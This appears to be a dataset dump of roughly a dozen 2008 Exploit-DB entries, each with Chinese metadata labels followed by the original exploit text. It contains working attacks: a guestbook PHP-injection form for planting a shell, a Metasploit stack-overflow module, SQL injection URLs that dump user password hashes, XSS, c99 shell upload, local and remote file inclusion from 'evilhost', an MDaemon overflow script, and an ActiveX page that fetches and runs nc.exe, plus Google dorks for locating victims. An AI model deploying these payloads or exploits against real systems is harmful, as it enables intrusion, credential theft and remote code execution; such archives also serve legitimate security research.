QLWD/code_shield huggingface dataset:
标题: 1Book Guestbook Script 1.0.1 - Code Execution EDB-ID: 5736 CVE: 2008-2638 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-03 漏洞利用脚本: =========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author  : jiko
# email  : jalikom@hotmail.fr
# Home   : www.no-back.org & no-exploit.com
# Script  : 1Book Guestbook Script
# Bug   : remote code execution
# Download  : http://1scripts.net/scripts/1book.zip
=========================JIkI Team===================

 # if(in_array($_POST['username'], $bannedusers))
 # echo 'Your username has been banned by the administrator.<br/><br/>';
 # if(in_array($_SERVER['REMOTE_ADDR'], $bannedips))
 # echo 'Your IP has been banned by the administrator.<br/><br/>';
 # elseif($_POST['1'] + $_POST['2'] != $_POST['check'])
 # echo('You answered the security question incorrectly.');
 # else
 # {
 # $data = unserialize(file_get_contents('data.php'));
 # array_push($data, array('user' => $_POST['username'], 'date' =>
 mktime(), 'message' => $_POST['message'], 'website' =>
 $_POST['website'], 'ip' => $_SERVER['REMOTE_ADDR']));
 # file_put_contents('data.php', serialize($data));
 # }
 #
 #}

 #===========================================================================================================================#
 # So, we can write a malicious code like <?php include($jiko); ?> in
 the variable $message, and $username #
 # and then we go in
            http://Site/script/data/data.php?jiko=[shell]
 #
 #===========================================================================================================================#
 simple exploit whith HTML:
 -------------------------
 change site by your site
 +++++++++++++++++++++++++

 <title> EXploit BY JIKO</title>
 <center>
 <form method="post" action="site/guestbook.php">
 <input type=hidden name=username value="jiko was here" >
 <input type=hidden name=message value="<? include($jiko) ?>" >
 <input type=submit value="send">
 </form>
 <h5>a fter send your usage:
 <br>http://site/scripts/data.php?jiko=[shell]</h5>

 
=========================================================
 greetz:
 all my friend [kil1er & GhosT HaCkEr & stack ] and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com & no-exploit.com
=========================================================
**************************
 hello brother i want chnage my name Jiki Team to JiKo and my email to
 jalikom@hotmail.fr  and this a news bug
 remote code execution

# milw0rm.com [2008-06-03] URL: https://www.exploit-db.com/exploits/5736
标题: HP StorageWorks - NSI Double Take Remote Overflow (Metasploit) EDB-ID: 5738 CVE: 2008-1661 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-04 漏洞利用脚本: ##
# $Id: doubletake.rb 4529 2007-03-23 01:08:18Z $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Misc::Doubletake < Msf::Exploit::Remote
 include Exploit::Remote::Tcp
 include Exploit::Remote::Seh
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'doubletake Overflow',
   'Description'    => %q{
     This Module Exploits a stack overflow in the authentication mechanism of NSI Doubletake which is also rebranded
     as hp storage works Vulnerability found by Titon of Bastard Labs.
   },
   'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
   'Version'        => '$Revision: 9 $',
   'References'     => 
    [
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00",
    },
   'Platform'       => 'win',
   
   'Targets'        =>
    [
     ['doubletake 4.5.0',    { 'Ret' =>  0x006f5fa7, 'Offset' => 5544 } ],
     ['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],  
     ['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
    ],
    'DefaultTarget' => 0,

   'Privileged'     => false,

   'DisclosureDate' => ''

   ))

   register_options(
   [
    Opt::RPORT(1100)
   ], self.class)
 end

 def exploit
                xor = Rex::Encoding::Xor::Byte
  connect

  print_status("Trying target #{target.name}...")

                header = 
               "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
               "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"

  filler =  rand_text_english(1) * (target['Offset'])
  seh = generate_seh_payload(target.ret)
                buffercoded= xor.encode(seh+payload.encoded, [0xf0].pack("C"))
  sploit =  header + filler + buffercoded[0]
  sock.put(sploit)
  handler
  disconnect 
 end

end
end

# milw0rm.com [2008-06-04] URL: https://www.exploit-db.com/exploits/5738
标题: Joomla! Component JoomRadio 1.0 - 'id' SQL Injection EDB-ID: 5729 CVE: 2008-2633 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-03 漏洞利用脚本: #########################################################
#       #
#    Joomla Component joomradio Remote SQL Injection #
#       #
#########################################################

########################################

[*] Founded by : His0k4 (Algerian HaCkeR);
[*] Contact:     His0k4.hlm[at]gmail.com
[*] Greetz :     All friends & muslims HaCkeRs  :) 
[*] Greetz2 :    http://www.palcastle.org/cc/  

########################################

[*] Script_Name: "Joomla"
[*] Component_Name: "com_joomradio"

########################################

[*] DORK: inurl:com_joomradio

########################################

[*] P.O.C 1: /index.php?option=com_joomradio&page=show_radio&id={SQL}
[*] Example: /index.php?option=com_joomradio&page=show_radio&id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user() FROM jos_users--

[*] P.O.C 2: /index.php?option=com_joomradio&page=show_video&id={SQL}
[*] Example: /index.php?option=com_joomradio&page=show_video&id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user() FROM jos_users--
########################################

# milw0rm.com [2008-06-03] URL: https://www.exploit-db.com/exploits/5729
标题: smeweb 1.4b - SQL Injection / Cross-Site Scripting EDB-ID: 5725 CVE: 2008-2652 2008-2644 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-02 漏洞利用脚本: =======================================================
 SMEweb 1.4b (SQL/XSS) Multiple Remote Vulnerabilities
=======================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 2 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : SMEweb
 VERSION     : 1.4b
 VENDOR      : http://www.smethailand.com/ 
 DOWNLOAD    : http://www.geocities.com/smes_thailand/smeweb_v14b.zip
#####################################################

---SQL Injection Exploit---

##############################################
Vulnerable: catalog.php (Line:66-69)

if($idp)  
 $sql = "select * from ".$fix."catalog where idp='$idp' and category NOT IN ('L1','LA') ";
elseif($category)    
 $sql = "select * from ".$fix."catalog where category='$category' order by idp desc limit  1";  

 $result = mysql_db_query($dbname,$sql);
###############################################

***It's Work with Magic_quote must turn off***

http://[target]/[path]/catalog.php?idp=1'union select 1,2,password,username,5,6,7,8 from smeweb_user where userid=1 ORDER BY counter/*


---Multiple Remote XSS Exploit---

[+]catalog.php
[+]search.php
[+]bb.php
[+]order.php

Example:
     
http://[target]/[path]/catalog.php?data=<XSS>
http://[target]/[path]/search.php?keyword=<XSS>
http://[target]/[path]/bb.php?page=<XSS>
http://[target]/[path]/order.php?new_s=<XSS>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-02] URL: https://www.exploit-db.com/exploits/5725
标题: FlashBlog 0.31b - Arbitrary File Upload EDB-ID: 5728 CVE: 2008-2574 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-03 漏洞利用脚本: FlashBlog beta0.31 Remote File Upload Vulnerability

# Author : ilker kandemir a.k.a MEFISTO  

# Dork : inurl:flashblog.html  or  inurl:/flashblog/

# Website : www.dumenci.net, www.coderx.org

http://[site.com]/admin/Editor/imgupload.php ==>>> upload your c99 shell

http://[site.com]/tus_imagenes/c99.php ==>>> your address

Tnx: Dumenci, Damar, Cr@zy_king, Str0ke and all my friendz

# milw0rm.com [2008-06-03] URL: https://www.exploit-db.com/exploits/5728
标题: Alt-N MDaemon 9.6.5 - Multiple Remote Buffer Overflows (PoC) EDB-ID: 5727 CVE: 2008-2631 类型: DOS 平台: WINDOWS 发布日期: 2008-06-02 漏洞利用脚本: ############################################################################
# MDaemon <== v9.6.5 Multiple Remote Buffer Overflow
#
# Vendor Site: http://altn.com
#
# Risk : Highly Critical
# hehe funny bugs here .. the worldclient use the port 3000 for a webmail like (it use also an admin webmail 
# located at 
# port 1000 [by default both are opened])
# this file unfortunatly contain multiple buffer overflows , If you send a message to a user ( or postmaster ? :] )
# with a subject composed of 8194 A ( like : " Do your incomming taxes online this year, it's safe and fast,just reply with 
# the supplied incomming form...8100 A " from incomming@irs.gov etc )
# if the user click "answer" to the message , eip get owned
# the CC & From field is vulnerable too .
#
# This kind of bug is pretty nasty, because the client doesn't get owned , but postmaster yes. so if you have an account 
# on a host providing MDaemon services ,
# you can send a mail to yourself and get some shellcode executed on the server.
# if you dont ... just have a look on google,you'll find out
#
#
# this poc is another bug, actually it shouldn't work, because we dont have any cookie & session ,but it give a full control 
# over EDX without any auth, dont ask why, it's like this only for this variable [ComposeUser] =)
#
# Greetz to : French/Quebec security community & http://spiritofhack.net .
# ungreetz to : they'll reconize them =)
#
# Ps: actually this audit is NOT finished ... there might be some other remote bugs/advisory , i just dont have time for 
# this at the moment, i recommend to the ones who want to do it , to look at Webclient.exe & Webadmin.exe , there's 
# some funny stuff in there hehe .

use LWP::UserAgent;
$connect = LWP::UserAgent->new;
my $payload1 ="a" x 60;
my $payload2 ="b" x 20;
my $host = 'http://127.0.0.1:3000/';

my $req = HTTP::Request->new(POST => $host.'WorldClient.dll?Session=&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes');
$req->content_type('application/x-www-form-urlencoded');
$req->content('ComposeUser='.$payload2.$payload1.'%40localhost&&ComposeID=1&Attn=&Company=&From=0&Reply-To=&To=%22admin+bla%22+%3Cadmin%40localhost%3E%2C+&CC=YO&BCC=&Subject=hey&Body=yo%21&');
my $res = $connect->request($req);
print $res->as_string;

# "If in time like these you can talk about individual freedom, you're probably a terrorist"

# milw0rm.com [2008-06-02] URL: https://www.exploit-db.com/exploits/5727
标题: Joomla! Component equotes 0.9.4 - SQL Injection EDB-ID: 5723 CVE: 2008-2628 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-02 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/        Joomla Component equotes  Remote SQL injection         \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_eQuotes

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_equotes&id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_equotes&id=13 and 1=1 union select user(),concat(username,0x3a,password),user(),user(),user(),user(),user() FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...

# milw0rm.com [2008-06-02] URL: https://www.exploit-db.com/exploits/5723
标题: PLog 1.0.6 - 'albumID' SQL Injection EDB-ID: 5724 CVE: 2008-2629 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-02 漏洞利用脚本: pLog (albumId) Remote Sql Ä°nj.

DreamTurk / dream@dr3amturk.org

Down : http://sourceforge.net/project/showfiles.php?group_id=83964&package_id=86556

http://localhost/index.php?op=ViewAlbum&albumId=-1/**/union/**/select/**/0,1,user,password,4,5,6,7,8 from plog_users/*&blogId=1

4ever sqL L0v3r'Z Crew 2008 http://coderx.org

Greatz : Cr@zy_King & BLasTer & DarKxBoyZ & Rmx & TR_ip & str0ke

----------- 

# milw0rm.com [2008-06-02] URL: https://www.exploit-db.com/exploits/5724
标题: Battle Blog 1.25 - 'comment.asp' SQL Injection EDB-ID: 5731 CVE: 2008-2626 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-03 漏洞利用脚本: +************************************************************************************************************************+
| hhh  hhh          aa          ccccccc      kk  k      EEEEEEEE       RRRR                    TTTTTTTT      NNN   NN    |
| hhh  hhh        aa  aa        cc           kk k       E              RR  R    -----------       TT         NN N  NN    |
| hhhhhhhh       aaaaaaaa       cc           kkk        EEEEEEE        RR R     -----------       TT         NN  N NN    |
| hhh  hhh     aa       aa      cc           kk k       E              RR  R                      TT         NN   NNN    |
| hhh  hhh    aa         aa     ccccccc      kk  k      EEEEEEE        RR   R                     TT         NN    NN    |
|                                                                                                                        |
+************************************************************************************************************************+

[+] Script Name    : Battle Blog <= V 1.25

[+] Script In Short: ('Battle Blog's "real world" preview feature allows you to view your posting within the actual context of your presentation and customized style sheet before you've published it, or, while you're making edits to a current entry.');

[+] Found by       : Bl@ckbe@rD ('Tunisian TerrorisT') ;

[+] Google dork    : "Powered by Battle Blog" ;

[+] Script URL     : webscripts.softpedia.com/script/Blog/Battle-Blog--31261.html ;

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

--//-->

[+] Expl0iT :

/comment.asp?entry={SQL}

-----> For MS SQL Server         : 22+and+1=convert(int,(select+@@version))--

-----> For Ms ACCESS (Blind-Way) : IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'done')%00

--//-->

[+] GrEEtZ : allah , hak3r-b0y , UnderZ0ne Crew , InjEct0rS Team 

# milw0rm.com [2008-06-03] URL: https://www.exploit-db.com/exploits/5731
标题: Booby 1.0.1 - Multiple Remote File Inclusions EDB-ID: 5722 CVE: 2008-2645 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-02 漏洞利用脚本: #software name: Booby
#version: 1.0.1
#description: A Webbased Personal Information Manager (PIM) with support for bookmarks, calendar, contacts, notes, news and tasks.
#download: http://sourceforge.net/project/showfiles.php?group_id=87672&package_id=91447&release_id=326826
#bug: Multiple Remote Vulnerabilities
#contact: mailbox1333@gmail.com

Local File Include / Remote File Include in: template.tpl.php

Proof Of Concept LFI: http://localhost/path/templates/barrel/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/barry/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/mylook/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/oerdec/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/penguin/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/sidebar/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/slashdot/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/text-only/template.tpl.php?renderer=../../../../../../etc/passwd

Proof Of Concept RFI: http://localhost/path/templates/barrel/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/barry/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/mylook/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/oerdec/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/penguin/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/sidebar/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/slashdot/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/text-only/template.tpl.php?renderer=evilhost/shell.txt



regards> ph03n1xbroc / zuh_runezz / sara / sirzion / ov / mozi / picolo_elfo /

# milw0rm.com [2008-06-02] URL: https://www.exploit-db.com/exploits/5722
标题: Joomla! Component iDoBlog b24 - SQL Injection EDB-ID: 5730 CVE: 2008-2627 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-03 漏洞利用脚本: #########################################################
#       #
#    Joomla Component idoblog Remote SQL Injection #
#       #
#########################################################

########################################

[*] Founded by : His0k4 (Algerian HaCkeR);
[*] Contact:     His0k4.hlm[at]gmail.com
[*] Greetz :     All friends & muslims HaCkeRs  :) 
[*] Greetz2 :    http://www.palcastle.org/cc/  

########################################

[*] Script_Name: "Joomla"
[*] Component_Name: "com_idoblog"

########################################

[*] DORK: inurl:com_idoblog

########################################

[*] P.O.C : /index.php?option=com_idoblog&task=userblog&userid={SQL}
[*] Example: /index.php?option=com_idoblog&task=userblog&userid=<valid_userid> and 1=1 UNION SELECT user(),user(),user(),user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

########################################

# milw0rm.com [2008-06-03] URL: https://www.exploit-db.com/exploits/5730
标题: C6 Messenger - ActiveX Remote Download and Execute EDB-ID: 5732 CVE: 2008-2551 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-03 漏洞利用脚本: <!--

C6 Messenger Installation Url DownloaderActiveX Control Remote Download
& Execute Exploit

by
Nine:Situations:Group::SnoopyAssault

site: http://retrogod.altervista.org/

"C6 Messenger is an instant messaging program produced by Telecom Italia Group,
specifically by Alice (distribution), Icon Spa (development, design and server)
and Opendoc (graphics). It is the only instant messenger entirely produced in
Italy, is a free program, allows you to chat in real time with friends[..]"

installation urls:
http://c6.community.alice.it/home/index.html
http://c6.community.alice.it/download/c6.html

Whoever accessed the second one with IE to install c6 IM is vulnerable to this
threat. Notice that you can pass also local urls to "propDownloadUrl" property
and bypass Internet zone, no host check is performed.
"propPostDownloadAction" one is used to launch the executable.
A progress bar is shown but you can easily make it not visible.

settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data
IPersist Safe:  Safe for untrusted: caller,data

info:
http://www.google.com/search?hl=en&q=c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61&meta=&num=100&filter=0
Let me guess, this one is already exploited in the wild...
Thanks Mommy Telecom Italia!!

If you think this poc is useful, please help us to improve our equipment and
donate through the paypal button on our site!

--------------------------------------------------------------------------------
Goodbye rgod-tsid-pah he-ru-ka!
-->
<HTML>
<BODY>
<OBJECT ID="DownloaderActiveX1"
WIDTH="0"
HEIGHT="0"
CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"
CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1">
<PARAM NAME="propProgressBackground"  VALUE="#bccee8">
<PARAM NAME="propTextBackground"  VALUE="#f7f8fc">
<PARAM NAME="propBarColor"  VALUE="#df0203">
<PARAM NAME="propTextColor"  VALUE="#000000">
<PARAM NAME="propWidth"  VALUE="0">
<PARAM NAME="propHeight"  VALUE="0">
<PARAM NAME="propDownloadUrl"  VALUE="http://yoursite.com/nc.exe"><!-- change to your favourite kit ! :) -->
<PARAM NAME="propPostDownloadAction"  VALUE="run"> <!-- lol -->
<PARAM NAME="propInstallCompleteUrl"  VALUE="">
<PARAM NAME="propBrowserRedirectUrl"  VALUE="">
<PARAM NAME="propVerbose"  VALUE="0">
<PARAM NAME="propInterrupt"  VALUE="0">
</OBJECT>
</BODY>
</HTML>

# milw0rm.com [2008-06-03] URL: https://www.exploit-db.com/exploits/5732